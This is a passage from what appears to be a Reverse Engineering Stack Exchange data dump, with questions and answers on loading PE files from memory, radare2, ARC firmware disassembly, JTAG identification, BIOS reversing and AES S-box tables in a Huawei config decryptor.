if(NtHeader-&amp;gt;Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still clueless on how the 64bit PE format works on Windows 10.&#xA;Is the issue on running code (hex format) or this program itself?&#xA;Am i missing any points? Any suggestions useful.&lt;/p&gt;&#xA;" OwnerUserId="22797" LastActivityDate="2019-03-08T14:11:02.420" Title="Run PE File - (Executable) From Memory" Tags="|c++|pe|x86-64|windows-10|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17112" PostTypeId="2" ParentId="17110" CreationDate="2018-01-04T15:23:43.250" Score="1" Body="&lt;p&gt;So, you've initialized several bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unsigned char rawData[37376] = {&#xA;       0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00}; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, you're accessing DOSHeader-&gt;e_lfanew which is not initialized in rawData.&#xA;Most likely data DOSHeader-&gt;e_lfanew contains some &lt;a href=&quot;https://stackoverflow.com/a/127404/3092609&quot;&gt;trash&lt;/a&gt; like 0xCCCCCCCC or 0xDDDDDDDD, so NtHeader points to some memory outside of rawData and you get exception trying to access non-existing memory address.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-01-04T15:23:43.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17113" PostTypeId="2" ParentId="17109" CreationDate="2018-01-04T15:32:01.193" Score="1" Body="&lt;p&gt;Frame-Pointer Omission compiler option:&#xA;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/2kxx5t2c.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/2kxx5t2c.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For gcc see -fomit-frame-pointer&#xA;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.5.2/gcc/Optimize-Options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gcc.gnu.org/onlinedocs/gcc-4.5.2/gcc/Optimize-Options.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2018-01-05T09:39:04.980" LastActivityDate="2018-01-05T09:39:04.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17114" PostTypeId="2" ParentId="17110" CreationDate="2018-01-04T20:18:05.887" Score="1" Body="&lt;p&gt;The canonical example (IMHO) was written in C by Joachim Bauch in his &lt;a href=&quot;https://github.com/fancycode/MemoryModule&quot; rel=&quot;nofollow noreferrer&quot;&gt;MemoryModule&lt;/a&gt; project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an Object-Pascal port (both Lazarus and Delphi) called &lt;a href=&quot;https://github.com/DSPlayer/memorymodule&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTMemoryModule&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-01-04T20:18:05.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17115" PostTypeId="2" ParentId="16880" CreationDate="2018-01-04T20:24:34.183" Score="2" Body="&lt;p&gt;The closest thing I'm aware of is &lt;a href=&quot;http://www.andreybazhan.com/dbgkit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;DbgKit&lt;/a&gt; from Andrey Bazhan. It is not exactly what you are asking for, but it does provide a nice GUI extension on top of WinDbg (which can be used for kernel debugging). It's more like Process Explorer than Procmon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/diiE2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/diiE2.png&quot; alt=&quot;DbgKit Memory Explorer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-01-04T20:24:34.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17116" PostTypeId="2" ParentId="17104" CreationDate="2018-01-04T20:27:53.567" Score="1" Body="&lt;p&gt;I'd suggest &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab's API Monitor&lt;/a&gt;. This will allow you to monitor every API call made by an application, and easily inspect parameters passed to each API (and the data returned). One of my favorite tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gPIss.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gPIss.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-01-04T20:27:53.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17118" PostTypeId="1" CreationDate="2018-01-04T22:12:50.337" Score="0" ViewCount="404" Body="&lt;p&gt;I want to translate Tomb Raider 1 into my language. I am able to change texts in the menu but I also want to add subtitles to cutscenes. Is it possible to add subtitles to cutscene.phd files? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone actually managed to add texts to cutscenes in 4th game with reverse engineering, even though it didn't support subtitles. There is currently a language patch for Last Revelation right now. And I can't reach the ones who made it however as I much do want to ask them how they even did that. &lt;/p&gt;&#xA;" OwnerUserId="22803" LastActivityDate="2018-01-04T22:58:32.867" Title="Tomb Raider I Add Subtitle" Tags="|tools|" AnswerCount="1" CommentCount="0" ClosedDate="2018-01-07T08:57:12.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="17119" PostTypeId="1" AcceptedAnswerId="17124" CreationDate="2018-01-04T22:19:29.430" Score="3" ViewCount="3164" Body="&lt;p&gt;Is it possible to change the value of a local var within &lt;code&gt;Radare2&lt;/code&gt;? I'm practicing with ESIL feature and now I want to set the value of local variable &lt;code&gt;userInput&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484e6]&amp;gt; afvd&#xA;var userInput = 0x00177ffc  0x00000000  .... eflags&#xA;var var1 = 0x00177ff8  0x00000246  F...&#xA;var var2 = 0x00177ff4  0x00052b24  $+.. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to catch this information from the documentation. Eventually, is it possible do the same thing while debugging the binary (-d)? &lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2018-01-05T12:12:49.303" Title="Radare2 set local variable" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17120" PostTypeId="2" ParentId="17118" CreationDate="2018-01-04T22:58:32.867" Score="2" Body="&lt;p&gt;Before trying to dive into reversing that file, start by taking a look around &lt;a href=&quot;http://www.tombraiderforums.com/forumdisplay.php?s=6f1b1b135e1d97614dac637a326c5386&amp;amp;f=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tomb Raider Forums&lt;/a&gt; and perhaps inquire there. Without us having much to go on, the most we can give you is generic information. If need be, take a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15892/how-to-decrypt-encrypted-script-files-for-a-game/15893#15893&quot;&gt;this answer regarding help reversing file formats&lt;/a&gt;. There are many communities out there well-suited to help you deal with that game (and perhaps that file specifically).&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-01-04T22:58:32.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17121" PostTypeId="1" CreationDate="2018-01-05T00:27:28.777" Score="2" ViewCount="356" Body="&lt;p&gt;I got dump from ci module and after deflate compressed data, this time I can't find the data I am looking for without disassembly it, sometimes I can extract data manually, but this time file is a bit different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have tried to load file and test with 2 possible targets, ARCompact and ARCTangent, and loading address I tested with 0x0 and 0x400000, because I see some offsets in binary (L.E) like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;207B2A40&#xA;347B2A40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I guess loading must be close to that offset but no successful, only got garbage fucntions.&#xA;The first 0xB0 data from file is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4A2100004A2200004A2300004A240000&#xA;4A2500004A2600004A2700004A200010&#xA;4A2100104A2200104A2300104A240010&#xA;4A2500104A2600104A2700104A200020&#xA;4A2100204A2200204A2300204A240020&#xA;4A2500204A2600204A2700204A200030&#xA;4A2100304A2000002220800F23408009&#xA;0A24803F2B4048B80A22803F2B406059&#xA;0A22808F00000000E22082004A230030&#xA;2220800F2240DC9E090000006CD41640&#xA;692040004A2600704A2600704A260070&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And these flags are before gzip header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    48B82B40&#xA;    48B82B40&#xA;    00200300&#xA;    2E 6B65726E656C -&amp;gt; kernel&#xA;    0000000000&#xA;    004B5F40 -*&#xA;    004B5F40 -* Offset where kernel is decompressed?&#xA;    00400600 -&amp;gt; ?&#xA;    1F8B0800 -&amp;gt; gzip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope someone could help me in someway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3253" LastEditorUserId="2147" LastEditDate="2018-07-05T23:11:10.057" LastActivityDate="2021-04-21T06:04:05.420" Title="Finding out ARC file entry point" Tags="|ida|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17123" PostTypeId="2" ParentId="17121" CreationDate="2018-01-05T09:38:55.420" Score="1" Body="&lt;p&gt;Seems to be ARCompact code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:00000000                 mov     r1, 0&#xA;CODE:00000004                 mov     r2, 0&#xA;CODE:00000008                 mov     r3, 0&#xA;CODE:0000000C                 mov     r4, 0&#xA;CODE:00000010                 mov     r5, 0&#xA;CODE:00000014                 mov     r6, 0&#xA;CODE:00000018                 mov     r7, 0&#xA;CODE:0000001C                 mov     r8, 0&#xA;CODE:00000020                 mov     r9, 0&#xA;CODE:00000024                 mov     r10, 0&#xA;CODE:00000028                 mov     r11, 0&#xA;CODE:0000002C                 mov     r12, 0&#xA;CODE:00000030                 mov     r13, 0&#xA;CODE:00000034                 mov     r14, 0&#xA;CODE:00000038                 mov     r15, 0&#xA;CODE:0000003C                 mov     r16, 0&#xA;CODE:00000040                 mov     r17, 0&#xA;CODE:00000044                 mov     r18, 0&#xA;CODE:00000048                 mov     r19, 0&#xA;CODE:0000004C                 mov     r20, 0&#xA;CODE:00000050                 mov     r21, 0&#xA;CODE:00000054                 mov     r22, 0&#xA;CODE:00000058                 mov     r23, 0&#xA;CODE:0000005C                 mov     r24, 0&#xA;CODE:00000060                 mov     r25, 0&#xA;CODE:00000064                 mov     r0, 0&#xA;CODE:00000068                 jl      0x40230980&#xA;CODE:00000070                 mov     sp, 0x402BB848&#xA;CODE:00000078                 mov     gp, 0x402B5960&#xA;CODE:00000080                 mov.f   r2, 0&#xA;CODE:00000088                 jlne    [r2]&#xA;CODE:0000008C                 mov     fp, 0&#xA;CODE:00000090                 jl      0x40229EDC&#xA;CODE:00000098                 b       loc_A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The load base could be 40000000 or 40200000, but might be something else too.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-05T09:38:55.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17124" PostTypeId="2" ParentId="17119" CreationDate="2018-01-05T12:12:49.303" Score="5" Body="&lt;p&gt;Sadly there's no such feature in radare2 yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, though, that at the end these variables are data that you can manipulate by manually editing them. Thus, you can modify their value (with some restrictions of course) to meet your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's see the result of &lt;code&gt;afvd&lt;/code&gt; in some random function of a binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400637]&amp;gt; afvd&#xA;var local_10h = 0x7ffffa0c1870  0x00007ffffa0c1960   `....... r13 stack R W 0x1 --&amp;gt;  rdi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have only one variable, &lt;code&gt;local_10h&lt;/code&gt; which is located at &lt;code&gt;rbp - 0x10&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400637]&amp;gt; afvd local_10h&#xA;pxr $w @rbp-0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, let's modify &lt;code&gt;rbp-0x10&lt;/code&gt; to be &quot;ABCD&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400637]&amp;gt; wx 41424344 @ rbp-0x10&#xA;[0x00400637]&amp;gt; afvd&#xA;var local_10h = 0x7ffffa0c1870  0x00007fff44434241   `ABCD... r13 stack R W 0x1 --&amp;gt;  rdi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this is a way to manipulate a value of a variable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;radare2 is an Open-Source project with great community and developers, feel free to open an &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;noreferrer&quot;&gt;issue&lt;/a&gt;, or even better, propose a &lt;a href=&quot;https://github.com/radare/radare2/pulls&quot; rel=&quot;noreferrer&quot;&gt;pull-request&lt;/a&gt; so we all can benefit from this feature.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-05T12:12:49.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17125" PostTypeId="1" CreationDate="2018-01-05T12:51:56.393" Score="1" ViewCount="945" Body="&lt;p&gt;Has anyone found a way to change the python installation used by IDA Pro? Using the system python on a Mac isn't terribly exciting.&lt;/p&gt;&#xA;" OwnerUserId="3872" LastActivityDate="2018-02-05T19:34:38.060" Title="IDA Pro using Brew installed Python" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17126" PostTypeId="2" ParentId="17109" CreationDate="2018-01-05T13:37:25.330" Score="7" Body="&lt;p&gt;The prologue and epilogue are &lt;em&gt;not required&lt;/em&gt; by the CPU to execute functions, so most compilers only generate them when necessary, or optimization is not enabled. In particular, &lt;em&gt;leaf&lt;/em&gt; functions (those that don't call other functions) do not usually need a prolog (unless required by the ABI) and the compiler may safely omit it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-05T13:37:25.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17127" PostTypeId="1" AcceptedAnswerId="17200" CreationDate="2018-01-05T22:54:15.793" Score="34" ViewCount="16654" Body="&lt;p&gt;I wanted to see what Microsoft are doing when you click &quot;Restart now&quot; button in their Settings -&gt; Update window on Windows 10:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YitFy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YitFy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow the results are not the same what is available via &lt;code&gt;InitiateSystemShutdownEx&lt;/code&gt; or &lt;code&gt;InitiateShutdown&lt;/code&gt; WinAPIs, especially concerning installation of updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wanted to look into the code they use for that &lt;code&gt;Restart&lt;/code&gt; button. Usually I would use Spy++ to look up a parent window's &lt;code&gt;WndProc&lt;/code&gt; and then load the process in IDA Pro and put a breakpoint on it. Then trap a condition for the &lt;code&gt;BM_CLICK&lt;/code&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case though, the whole settings is a window of its own. The button does not appear in Spy++:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eECa5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eECa5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how do I proceed from there?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-05-09T00:09:14.577" Title="How to reverse engineer a Windows 10 UWP app?" Tags="|ida|debugging|windows-10|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17129" PostTypeId="1" AcceptedAnswerId="17136" CreationDate="2018-01-06T08:52:08.990" Score="3" ViewCount="8901" Body="&lt;p&gt;In practicing reading source code and analysing I've been looking at a program called &lt;code&gt;aescrypt2_huawei&lt;/code&gt; which floats around the web and encrypts/decrypts the XML config file from Huawei routers like the HG8245 router installed by Internet Service Providers. The router is discussed on a number of &lt;a href=&quot;https://zedt.eu/tech/hardware/obtaining-administrator-access-huawei-hg8247h/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blogs&lt;/a&gt; and the &lt;a href=&quot;https://zedt.eu/storage/2016/02/aescrypt2_huawei.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;aescrypt2&lt;/a&gt; can be downloaded and examined. I have also found the &lt;a href=&quot;https://github.com/palmerc/AESCrypt2&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt; and put it on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/coruus/nist-testvectors/blob/master/csrc.nist.gov/groups/ST/toolkit/documents/Examples/SHA256.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;NIST SHA256 Test Vector&lt;/a&gt; in the source &lt;/li&gt;&#xA;&lt;li&gt;inflate 1.2.5 calling code&lt;/li&gt;&#xA;&lt;li&gt;Identified the code path to the decrypt section&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I haven't found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any S-boxes for AES&lt;/li&gt;&#xA;&lt;li&gt;The key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;findcrypt&lt;/code&gt; in IDA Pro is also not turning up anything which leads me to believe my &lt;code&gt;findcrypt&lt;/code&gt; plugin isn't working. However, I then start looking for the S-boxes sequence 0x63 0x7c which can easily be found in the source code and IDA pro doesn't find that either... I then dropped to hexdump and searched for 0x63 and it is not there. Given that I can see the S-box in the source and I just compiled the binary myself what am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't the forward S-box appear in the data segment more or less as-is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now that I've found the key through the debugger in the &lt;code&gt;.bss&lt;/code&gt; segment why isn't the string in the data segment?&lt;/p&gt;&#xA;" OwnerUserId="3872" LastEditorUserId="3872" LastEditDate="2018-01-06T16:07:06.893" LastActivityDate="2018-01-06T20:30:49.680" Title="Finding the encryption key in a binary - IDA Pro and how an S-box might be represented in the binary" Tags="|ida|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17131" PostTypeId="1" CreationDate="2018-01-06T13:35:46.977" Score="4" ViewCount="773" Body="&lt;p&gt;I am doing some research into smart devices. I realized that the device is communicating with an Internet end-point but the communication is encrypted (and using a proxy tool doesn't work). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to see if I can reverse engineer the firmware or get access to the scripts on the controller to further analyse the functionality. &lt;a href=&quot;https://i.stack.imgur.com/2qVCN.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qVCN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3644" LastActivityDate="2018-01-06T18:51:25.370" Title="Trying to identify the JTAG/RS232 port on this board" Tags="|hardware|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17132" PostTypeId="2" ParentId="17131" CreationDate="2018-01-06T14:16:30.313" Score="2" Body="&lt;p&gt;Well, the fastest way is get datasheet of MCU and test data pins for get JTAG access and dump main code from RAM. Also you can measure pin volts looking for 3.3v and place Rx and Tx rs232 for get console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else if you dont have JTAG access you should start to think about desolder flash chip (in case it exists) but in this case the code seems to be written into flash area of the MCU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So finally successful depends on IC security...Maybe some some glitch at the right place and moment could help as well..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2018-01-06T14:16:30.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17133" PostTypeId="2" ParentId="17125" CreationDate="2018-01-06T18:41:53.850" Score="2" Body="&lt;h2&gt;Recompile IDAPython&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/idapython/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAPython&lt;/a&gt; can be compiled from source and specify which installation of python to use. This was the recommendation from Hex-Rays support with the caveat that this isn't a supported configuration.&lt;/p&gt;&#xA;" OwnerUserId="3872" LastActivityDate="2018-01-06T18:41:53.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17134" PostTypeId="2" ParentId="17131" CreationDate="2018-01-06T18:51:25.370" Score="5" Body="&lt;p&gt;&lt;code&gt;J2&lt;/code&gt; looks suspiciously close to the classic ARM &lt;a href=&quot;http://www2.keil.com/coresight/coresight-connectors/&quot; rel=&quot;noreferrer&quot;&gt;20-pin JTAG connector&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-06T18:51:25.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17135" PostTypeId="1" CreationDate="2018-01-06T20:18:26.900" Score="2" ViewCount="2957" Body="&lt;p&gt;Recently I got really interested in BIOS RE and I used &lt;strong&gt;&lt;em&gt;chipsec&lt;/em&gt;&lt;/strong&gt; to dump the content of SPI Flash ROM of my &lt;strong&gt;HP Omen&lt;/strong&gt; Desktop PC to start my journey. But unlike older BIOSes, the binary file was pretty huge (8.4 MB). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bios image is &lt;strong&gt;AMI A0.57 rev A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of problems with this BIOS image:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't disassemble it correctly. Using &lt;strong&gt;&lt;em&gt;radare2&lt;/em&gt;&lt;/strong&gt; with &lt;em&gt;-b flag&lt;/em&gt;, I tried 16,32 and 64 but the file doesn't get disassembled correctly. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;strong&gt;&lt;em&gt;UEFI Tool&lt;/em&gt;&lt;/strong&gt;, it fails at parsing it correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I googled and google and google. There no resource to solve my problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;IDA Pro&lt;/em&gt;&lt;/strong&gt; also treats the file as BIOS Image and uses one of its plugins &lt;strong&gt;&lt;em&gt;bios_image.py&lt;/em&gt;&lt;/strong&gt; to analyze the file but fails at some point with an error: Cannot relocate segment something at something (some addresses) because it overlap another segment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then I thought maybe Chipsec has failed with dumping the SPI Flash and the file is corrupted but I downloaded the BIOS image from HP's website (ftp.hp.com/pub/softpaq/sp81501-82000/sp81781.exe) and the file is the exact same. So, I have no clue and I need help to start learning BIOS reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have read BIOS Disassembly Ninjutsu Uncovered; and I can provide the binary if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be &lt;strong&gt;as specific as possible&lt;/strong&gt; in your answer since I googled 100 times and I'm really disappointed.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17760" LastEditorUserId="28285" LastEditDate="2020-01-08T21:21:23.213" LastActivityDate="2020-01-08T21:21:23.213" Title="Reverse Engineering BIOS (AMI A0.57)" Tags="|firmware|radare2|spi|bios|uefi|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17136" PostTypeId="2" ParentId="17129" CreationDate="2018-01-06T20:30:49.680" Score="8" Body="&lt;h2&gt;Initialization of the forward S-box&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As you probably saw in the source-code, the forward S-box is present several times and initialized at two different places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time that the forward S-box (&lt;code&gt;Fsb&lt;/code&gt;) is declared is at the top of &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;aes.c&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint32 FSb[256];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This array is then dynamically &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L93&quot; rel=&quot;noreferrer&quot;&gt;generated&lt;/a&gt; by &lt;code&gt;aes_gen_tables()&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FSb[0x00] = 0x63;&#xA;RSb[0x63] = 0x00;&#xA;&#xA;for( i = 1; i &amp;lt; 256; i++ )&#xA;{&#xA;    x = pow[255 - log[i]];&#xA;&#xA;    y = x;  y = ( y &amp;lt;&amp;lt; 1 ) | ( y &amp;gt;&amp;gt; 7 );&#xA;    x ^= y; y = ( y &amp;lt;&amp;lt; 1 ) | ( y &amp;gt;&amp;gt; 7 );&#xA;    x ^= y; y = ( y &amp;lt;&amp;lt; 1 ) | ( y &amp;gt;&amp;gt; 7 );&#xA;    x ^= y; y = ( y &amp;lt;&amp;lt; 1 ) | ( y &amp;gt;&amp;gt; 7 );&#xA;    x ^= y ^ 0x63;&#xA;&#xA;    FSb[i] = x;&#xA;    RSb[x] = i;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other initialization of &lt;code&gt;Fsb[256]&lt;/code&gt; is &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L143&quot; rel=&quot;noreferrer&quot;&gt;easy to spot&lt;/a&gt; in the code file and is a static constant which is defined like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* forward S-box */&#xA;&#xA;static const uint32 FSb[256] =&#xA;{&#xA;    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5,&#xA;    0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,&#xA;    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,&#xA;    0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,&#xA;    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,&#xA;    0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,&#xA;    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A,&#xA;&#xA;         &amp;lt; ... Truncated for readability ... &amp;gt;&#xA;&#xA;    0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,&#xA;    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,&#xA;    0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Two initialization of &lt;code&gt;Fsb[]&lt;/code&gt;?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes, the author of the program describes it in the &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L27&quot; rel=&quot;noreferrer&quot;&gt;comments&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* uncomment the following line to use pre-computed tables */&#xA;/* otherwise the tables will be generated at the first run */&#xA;&#xA;/* #define FIXED_TABLES */&#xA;&#xA;#ifndef FIXED_TABLES&#xA;&#xA;/* forward S-box &amp;amp; tables */&#xA;...&#xA;...&#xA;...&#xA;&#xA;#else&#xA;&#xA;/* forward 